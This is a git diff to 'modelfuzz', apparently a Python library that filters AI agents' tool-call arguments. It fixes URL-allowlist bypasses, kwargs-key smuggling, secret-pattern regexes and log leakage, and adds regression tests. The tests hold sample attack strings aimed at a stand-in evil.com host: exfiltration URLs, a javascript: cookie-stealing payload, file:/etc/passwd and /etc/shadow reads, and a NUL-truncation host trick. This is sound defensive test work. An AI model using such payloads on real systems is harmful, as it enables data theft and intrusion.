diff --git a/CHANGELOG.md b/CHANGELOG.md index e35b42c..39cb865 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -14,6 +14,13 @@ All notable changes to this project are documented here. - feat: `ModelFuzzBlockError` exposes `.category`, `.rule_name` and `.violation`, so an agent loop can branch on *why* a call was blocked instead of regex-matching the reason text — a block is a policy decision, not an infrastructure failure, and the two want different handling. `str(exc)` is unchanged - feat: blocks are logged with an additional `modelfuzz_category` structured field - docs: add "Branching on why a call was blocked" and "Guarding shell commands" README sections, record both shell rules' limits in Limitations, and extend `AGENTS.md` with the shell rules and the rule that recovery logic keys on `.category`, never on `.reason` +- security: `URLAllowList` decided "is this a URL?" with `"://" in url`, which is true only of the authority-bearing spelling. Every other form a real client resolves was classified "not a URL" and allowed: `http:/evil.com` (one slash), `file:/etc/passwd`, `data:`, `javascript:`, and protocol-relative `//evil.com`. Detection is now based on the parsed scheme, and the scheme allowlist is evaluated before an authority is required — previously an empty netloc returned early, so the scheme check never ran for these forms +- security: `URLAllowList` now rejects hostnames containing characters outside the letter/digit/hyphen/dot set. `http://evil.com\x00.api.internal.com` satisfied the `.endswith()` subdomain match while `getaddrinfo` and curl truncate at the NUL and reach `evil.com` +- security: `URLAllowList` now walks `bytes`/`bytearray`. It was the only walker in the library without that branch, so a URL carried as bytes skipped every check in the rule — host allowlist, scheme allowlist, userinfo, and the fail-closed path — silently +- security: `@shield_tool` now checks keyword names that arrive through `**kwargs`. `_enforce` iterated `kwargs.values()` only, so for any tool declaring `**params` the whole payload could travel in the key. Names declared in the signature are deliberately not checked — they are chosen by the tool author, and checking them would make the bundled `SensitiveDataFilter` block any tool with a `password` parameter +- security: fix quadratic backtracking in the `SecretPatternFilter` JWT pattern. A 1 MB argument of `eyJ-` repeats took ~140 s of CPU and was then *allowed*, so nothing was blocked and nothing logged. The leading `\b` made every `-eyJ` a fresh anchor; a lookbehind fixes it (1 MB now ~45 ms) +- fix: `SecretPatternFilter` missed every Google API key ending in `-`, because a trailing `\b` cannot fire after a non-word character. Slack coverage extended to `xapp-` (app-level) and `xoxe-` (rotating refresh) tokens, which mint fresh bot tokens +- fix: no `URLAllowList` block reason quotes the URL any more. Reasons reach a WARNING record and the exception text, so the userinfo reason was writing live basic-auth passwords into the audit log, and control characters in a rejected URL could forge log lines. Reasons now name the host or the scheme only — the invariant `SecretPatternFilter` already held - feat: add `SecretPatternFilter`, a bundled policy that blocks tool-call arguments carrying a recognisable credential — Anthropic, OpenAI, Stripe, AWS, GitHub, Google and Slack key formats, JWTs, and PEM private-key headers. Where `SensitiveDataFilter` matches the *word* "password", this matches the *shape* of a real key, closing the gap where a live `sk-…` or `AKIA…` passed straight through the bundled default. Opt-in: the bare `@shield_tool` default is unchanged. Extend with `extra_patterns=` or replace the table with `patterns=`. Fixes #70 - fix: the block reason for a matched credential names the format only and never quotes the matched text — blocks are logged at `WARNING`, and a reason carrying the key would leak the very thing the rule exists to contain diff --git a/src/modelfuzz/decorator.py b/src/modelfuzz/decorator.py index ee199ab..de2cd21 100644 --- a/src/modelfuzz/decorator.py +++ b/src/modelfuzz/decorator.py @@ -56,6 +56,38 @@ def decorator(func: Callable[P, R]) -> Callable[P, R]: return decorator +@functools.cache +def _declared_parameters(func: Callable[..., object]) -> frozenset[str]: + """Parameter names the tool author wrote in the signature. + + Cached: the signature cannot change between calls, and introspecting it on + every invocation would put ``inspect`` on the hot path of every tool call. + """ + try: + return frozenset(inspect.signature(func).parameters) + except (TypeError, ValueError): + # Some builtins and C callables have no introspectable signature. Treat + # every key as undeclared, which checks more rather than less. + return frozenset() + + +def _undeclared_keys(func: Callable[..., object], kwargs: dict[str, Any]) -> list[str]: + """Keyword names that arrived through ``**kwargs`` rather than the signature. + + A tool declaring ``**params`` lets the caller choose the *names*, so for such + a tool the key is attacker-controlled data and has to be checked -- a URL or + a credential sitting in a key was reaching the body untouched, while the same + dict passed as a value was blocked. + + Declared names are excluded on purpose. They are chosen by the tool author, + not the model, and checking them would make the bundled + ``SensitiveDataFilter`` block any tool that simply has a parameter called + ``password`` or ``api_key``. + """ + declared = _declared_parameters(func) + return [key for key in kwargs if key not in declared] + + def _enforce( func: Callable[..., object], actual_engine: PolicyEngine, @@ -69,7 +101,7 @@ def _enforce( transport for MCP stdio servers, and a stray write there corrupts the JSON-RPC stream. """ - for arg in list(args) + list(kwargs.values()): + for arg in list(args) + list(kwargs.values()) + _undeclared_keys(func, kwargs): result = actual_engine.run(arg) if result.allowed: continue diff --git a/src/modelfuzz/rules.py b/src/modelfuzz/rules.py index 60d95b9..fcbb1d8 100644 --- a/src/modelfuzz/rules.py +++ b/src/modelfuzz/rules.py @@ -85,6 +85,67 @@ def _iter_strings(data: object, seen: set[int]) -> Iterator[str]: DEFAULT_URL_SCHEMES = frozenset({"http", "https"}) +# A scheme is a letter followed by at least one more scheme character. Requiring +# two rules out a Windows drive letter, so "C:\\Users\\bob" stays a path. +_SCHEME_PREFIX = re.compile(r"^[A-Za-z][A-Za-z0-9+.\-]+:") + +# Legal hostname characters. Anything else -- NUL, space, tab, a control byte -- +# means the string is not a hostname and must not be suffix-matched against the +# allowlist. +_HOSTNAME_CHARS = re.compile(r"[A-Za-z0-9.\-]+") + +# Schemes whose payload is opaque rather than hierarchical: there is no "//" to +# key on, but a consumer still acts on them. Without these, "javascript:..." and +# "data:text/html,..." read as ordinary text. +_OPAQUE_ACTIONABLE_SCHEMES = frozenset( + {"data", "javascript", "vbscript", "mailto", "tel", "blob", "jar", "view-source"} +) + + +def _looks_like_url(value: str) -> bool: + """Is this string claiming to be a URL? + + The rule governs URLs only, so it must answer this before it can default-deny + -- and answering it wrong in the permissive direction is a silent bypass. + + This used to test ``"://" in value``, which is true only of the + authority-bearing spelling. Every other form a real client resolves was + therefore classified "not a URL" and allowed: ``http:/evil.com`` (one slash, + which curl and the WHATWG parsers resolve to evil.com), ``file:/etc/passwd``, + ``javascript:``, ``data:``, and protocol-relative ``//evil.com``. + + A string qualifies when it carries no whitespace and either begins with the + protocol-relative ``//`` or opens with a scheme followed by a hierarchical + path or an opaque-but-actionable scheme. The whitespace and two-character + scheme requirements are what keep ordinary prose out: "Note: deploy failed" + has a space, "C:\\Users" has a one-letter scheme, and "key:value" is opaque + under an unknown scheme. + """ + if not value: + return False + + # The original signal, kept exactly: an authority-bearing URL is a URL, even + # if it carries whitespace. Narrowing this would turn "http://evil.com/a b" + # -- blocked today -- into an allowed string. + if "://" in value: + return True + + # Below here the form is ambiguous, so whitespace is what separates a URL + # from prose that happens to contain a colon. + if any(char.isspace() for char in value): + return False + + if value.startswith("//"): + return True + + match = _SCHEME_PREFIX.match(value) + if not match: + return False + + remainder = value[match.end() :] + scheme = match.group()[:-1].lower() + return remainder.startswith("/") or scheme in _OPAQUE_ACTIONABLE_SCHEMES + class URLAllowList: """A policy that ensures URLs are on an allowlist and blocks parsing tricks. @@ -132,6 +193,12 @@ def _check_recursive(self, data: object, seen: set[int]) -> Violation | None: if isinstance(data, str): return self._check_url(data) + # bytes are a URL carrier like any other. Omitting this branch made a + # bytes argument skip every check in this rule -- host allowlist, scheme + # allowlist, userinfo, and the fail-closed path -- silently. + if isinstance(data, (bytes, bytearray)): + return self._check_url(data.decode("utf-8", errors="ignore")) + if isinstance(data, (dict, list, tuple, set, frozenset)): # Guard against self-referential containers, which a hand-built # argument can contain even though JSON-derived ones cannot. @@ -149,34 +216,48 @@ def _check_recursive(self, data: object, seen: set[int]) -> Violation | None: return None def _check_url(self, url: str) -> Violation | None: - # A string carrying a scheme separator is claiming to be a URL, so a - # parse failure from here on must fail closed rather than sail through. - looks_like_url = "://" in url + if not _looks_like_url(url): + return None + # From here the string is claiming to be a URL, so every failure below + # must fail closed rather than sail through as "not my business". try: parsed = urlparse(url) except Exception: - return self._invalid(url) if looks_like_url else None - - if not parsed.scheme or not parsed.netloc: - return self._invalid(url) if looks_like_url else None + return self._invalid() - if parsed.scheme.lower() not in self.allowed_schemes: + # The scheme is checked BEFORE the authority. An opaque or single-slash + # URL has no netloc, and testing that first is what let file:/etc/passwd + # and javascript:... escape the scheme allowlist entirely. + if parsed.scheme and parsed.scheme.lower() not in self.allowed_schemes: return self._block( f"URL scheme not allowed: {parsed.scheme}", CATEGORY_SCHEME_NOT_ALLOWED ) - # Block userinfo tricks (e.g., http://api.internal.com@evil.com) + if not parsed.netloc: + return self._invalid() + + # Block userinfo tricks (e.g., http://api.internal.com@evil.com). + # The reason names no part of the URL: userinfo is where basic-auth + # credentials live, and this reason is written to the audit log. if "@" in parsed.netloc: - return self._block(f"URL contains userinfo trick: {url}", CATEGORY_USERINFO_TRICK) + return self._block("URL contains userinfo trick", CATEGORY_USERINFO_TRICK) try: hostname = (parsed.hostname or "").rstrip(".") except ValueError: - return self._invalid(url) + return self._invalid() if not hostname: - return self._invalid(url) + return self._invalid() + + # A hostname is letters, digits, hyphens and dots. Without this, a NUL, + # space or tab inside a label still satisfies the endswith() suffix + # match below -- "evil.com\x00.api.internal.com" reads as a subdomain of + # the allowlisted zone, while getaddrinfo and curl truncate at the NUL + # and connect to evil.com. + if not _HOSTNAME_CHARS.fullmatch(hostname): + return self._invalid() # Check for exact match or valid subdomain is_allowed = any( @@ -194,8 +275,12 @@ def _block(reason: str, category: str) -> Violation: return Violation(rule_name="URLAllowList", reason=reason, category=category) @classmethod - def _invalid(cls, url: str) -> Violation: - return cls._block(f"Invalid URL: {url}", CATEGORY_INVALID_URL) + def _invalid(cls) -> Violation: + # Deliberately quotes nothing. The rejected string is attacker-supplied + # and this reason reaches a WARNING log and the exception message: a URL + # carries credentials in its userinfo and query string, and control + # characters in it can forge log lines. + return cls._block("Invalid URL", CATEGORY_INVALID_URL) class SensitiveDataFilter: @@ -257,9 +342,12 @@ def __call__(self, data: object) -> Violation | None: ("AWS access key ID", r"\b(?:AKIA|ASIA|ABIA|ACCA)[0-9A-Z]{16}\b"), ("GitHub fine-grained token", r"\bgithub_pat_[A-Za-z0-9_]{22,}"), ("GitHub token", r"\bgh[pousr]_[A-Za-z0-9]{36,}"), - ("Google API key", r"\bAIza[0-9A-Za-z_-]{35}\b"), - ("Slack token", r"\bxox[abprs]-[A-Za-z0-9-]{10,}"), - ("JSON Web Token", r"\beyJ[A-Za-z0-9_-]{8,}\.eyJ[A-Za-z0-9_-]{8,}\.[A-Za-z0-9_-]+"), + ("Google API key", r"\bAIza[0-9A-Za-z_-]{35}(?![0-9A-Za-z_-])"), + ("Slack token", r"\b(?:xox[abprse]|xapp)-[A-Za-z0-9-]{10,}"), + ( + "JSON Web Token", + r"(? str: + ran.append(params) + return "ran" + + with pytest.raises(ModelFuzzBlockError): + http_get(**{"http://evil.com/exfil?d=1": "x"}) + assert ran == [] + + def test_a_credential_in_an_undeclared_kwarg_key_is_blocked(self): + from modelfuzz import ModelFuzzBlockError, PolicyEngine, SecretPatternFilter, shield_tool + + engine = PolicyEngine([SecretPatternFilter()]) + + @shield_tool(engine=engine) + def db_query(table: str, **filters: object) -> str: + return "ran" + + with pytest.raises(ModelFuzzBlockError): + db_query("users", **{"AKIA" + "IOSFODNN7EXAMPLE": 1}) + + def test_declared_parameter_names_are_not_checked(self): + """The tool author picks these, not the model. + + Checking them would make the bundled SensitiveDataFilter block any tool + that merely has a parameter called `password` or `api_key`. + """ + from modelfuzz import shield_tool + + @shield_tool() + def login(password: str = "", api_key: str = "") -> str: + return "ran" + + assert login(password="x", api_key="y") == "ran" + + def test_ordinary_undeclared_keys_still_pass(self): + from modelfuzz import PolicyEngine, URLAllowList, shield_tool + + engine = PolicyEngine([URLAllowList(allowed_domains=["api.internal.com"])]) + + @shield_tool(engine=engine) + def http_get(**params: object) -> str: + return "ran" + + assert http_get(limit=10, order="asc") == "ran" + + def test_values_are_still_checked(self): + """The pre-existing behaviour must be untouched.""" + from modelfuzz import ModelFuzzBlockError, PolicyEngine, URLAllowList, shield_tool + + engine = PolicyEngine([URLAllowList(allowed_domains=["api.internal.com"])]) + + @shield_tool(engine=engine) + def http_get(**params: object) -> str: + return "ran" + + with pytest.raises(ModelFuzzBlockError): + http_get(callback="http://evil.com") diff --git a/tests/test_rules.py b/tests/test_rules.py index 00e91c8..e8305a6 100644 --- a/tests/test_rules.py +++ b/tests/test_rules.py @@ -565,3 +565,164 @@ def send(body: str) -> str: record = caplog.records[-1] assert record.modelfuzz_category == "credential" assert record.modelfuzz_rule == "SecretPatternFilter" + + +class TestURLAllowListDetectsURLsByScheme: + """Regression guard for the '://' gate, which failed OPEN when it guessed wrong. + + `looks_like_url = "://" in url` is true only of the authority-bearing + spelling, so every other form a real client resolves was classified "not a + URL" and allowed straight through -- defeating both the host allowlist and + the scheme allowlist at once. + """ + + @pytest.fixture + def url_allowlist(self) -> URLAllowList: + return URLAllowList(allowed_domains=["api.internal.com"]) + + @pytest.mark.parametrize( + "url", + [ + "http:/evil.com/exfil", # one slash; curl and WHATWG resolve to evil.com + "https:/evil.com", + "HTTP:/evil.com", + "http:/api.internal.com@evil.com", # slips the userinfo check too + "//evil.com/x", # protocol-relative + ], + ) + def test_blocks_authority_less_http_forms(self, url_allowlist: URLAllowList, url: str): + assert url_allowlist(url) is not None + + @pytest.mark.parametrize( + "url", + [ + "file:/etc/passwd", # urlopen returns the file; file:// was already blocked + "data:text/html,", + "javascript:location='//evil.com/?c='+document.cookie", + "mailto:x@evil.com", + "vbscript:msgbox", + ], + ) + def test_blocks_disallowed_schemes_without_an_authority( + self, url_allowlist: URLAllowList, url: str + ): + """The scheme allowlist is evaluated before the authority is required. + + Testing netloc first is what let these escape: no netloc meant an early + return, so the scheme check never ran. + """ + assert url_allowlist(url) is not None + + @pytest.mark.parametrize( + "value", + [ + "hello world", + "", + "just some prose about api.internal.com", + "a/b/c", + "note: the deploy failed", + "TODO:fixthis", # scheme-shaped, but opaque under an unknown scheme + "key:value", + "C:\\Users\\bob", # a drive letter is one character, not a scheme + "ns:tag", + ], + ) + def test_still_ignores_things_that_are_not_urls(self, url_allowlist: URLAllowList, value: str): + """Tightening detection must not turn the rule into a prose filter.""" + assert url_allowlist(value) is None + + def test_a_url_containing_whitespace_is_still_a_url(self, url_allowlist: URLAllowList): + """Whitespace disambiguates prose only where there is no '://'. + + Using it to disqualify outright would have let 'http://evil.com/a b' + through -- a string the old gate blocked. + """ + assert url_allowlist("http://evil.com/a b") is not None + + +class TestURLAllowListHostnameValidation: + """A suffix match is only meaningful on a string that is actually a hostname.""" + + @pytest.fixture + def url_allowlist(self) -> URLAllowList: + return URLAllowList(allowed_domains=["api.internal.com"]) + + @pytest.mark.parametrize( + "url", + [ + # getaddrinfo and curl truncate at the NUL and reach evil.com, while + # 'evil.com\x00.api.internal.com'.endswith('.api.internal.com') is True. + "http://evil.com\x00.api.internal.com/exfil", + "http://evil.com .api.internal.com/exfil", + ], + ) + def test_rejects_illegal_characters_in_the_host(self, url_allowlist: URLAllowList, url: str): + violation = url_allowlist(url) + assert violation is not None + assert "Invalid URL" in violation.reason + + def test_a_genuine_subdomain_is_still_allowed(self, url_allowlist: URLAllowList): + assert url_allowlist("https://sub.api.internal.com/v1") is None + + +class TestURLAllowListWalksBytes: + """URLAllowList was the only walker in the library without a bytes branch.""" + + @pytest.fixture + def url_allowlist(self) -> URLAllowList: + return URLAllowList(allowed_domains=["api.internal.com"]) + + @pytest.mark.parametrize( + "value", + [ + b"http://evil.com/exfil", + bytearray(b"http://evil.com/exfil"), + b"file:///etc/shadow", + {"redirect": b"http://evil.com"}, + [b"http://evil.com"], + ], + ) + def test_blocks_a_url_carried_as_bytes(self, url_allowlist: URLAllowList, value: object): + assert url_allowlist(value) is not None + + def test_allows_permitted_urls_as_bytes(self, url_allowlist: URLAllowList): + assert url_allowlist(b"https://api.internal.com/v1") is None + + def test_non_url_bytes_still_pass(self, url_allowlist: URLAllowList): + assert url_allowlist(b"bytes") is None + + +class TestURLAllowListDoesNotEchoTheURL: + """Reasons reach a WARNING log and the exception text. + + A URL carries credentials in its userinfo and query string, and control + characters in it can forge log lines, so no reason quotes the raw input -- + the same invariant SecretPatternFilter and ShellCommandAllowList hold. + """ + + @pytest.fixture + def url_allowlist(self) -> URLAllowList: + return URLAllowList(allowed_domains=["api.internal.com"]) + + def test_userinfo_reason_does_not_leak_the_password(self, url_allowlist: URLAllowList): + violation = url_allowlist("https://svc-bot:Pa55w0rd-live@api.internal.com/v1") + assert violation is not None + assert "userinfo" in violation.reason + assert "Pa55w0rd" not in violation.reason + assert "svc-bot" not in violation.reason + + def test_invalid_reason_does_not_leak_the_query_string(self, url_allowlist: URLAllowList): + violation = url_allowlist("http:/x?api_key=sk-live-9f3a2b") + assert violation is not None + assert "sk-live-9f3a2b" not in violation.reason + + def test_reason_cannot_carry_a_forged_log_line(self, url_allowlist: URLAllowList): + violation = url_allowlist("http://evil.com\x00\n[modelfuzz] ALLOWED") + assert violation is not None + assert "\n" not in violation.reason + + def test_the_hostname_is_still_named_when_it_is_safe_to(self, url_allowlist: URLAllowList): + """Redaction must not make the audit trail useless.""" + violation = url_allowlist("http://evil.com/x") + assert violation is not None + assert "evil.com" in violation.reason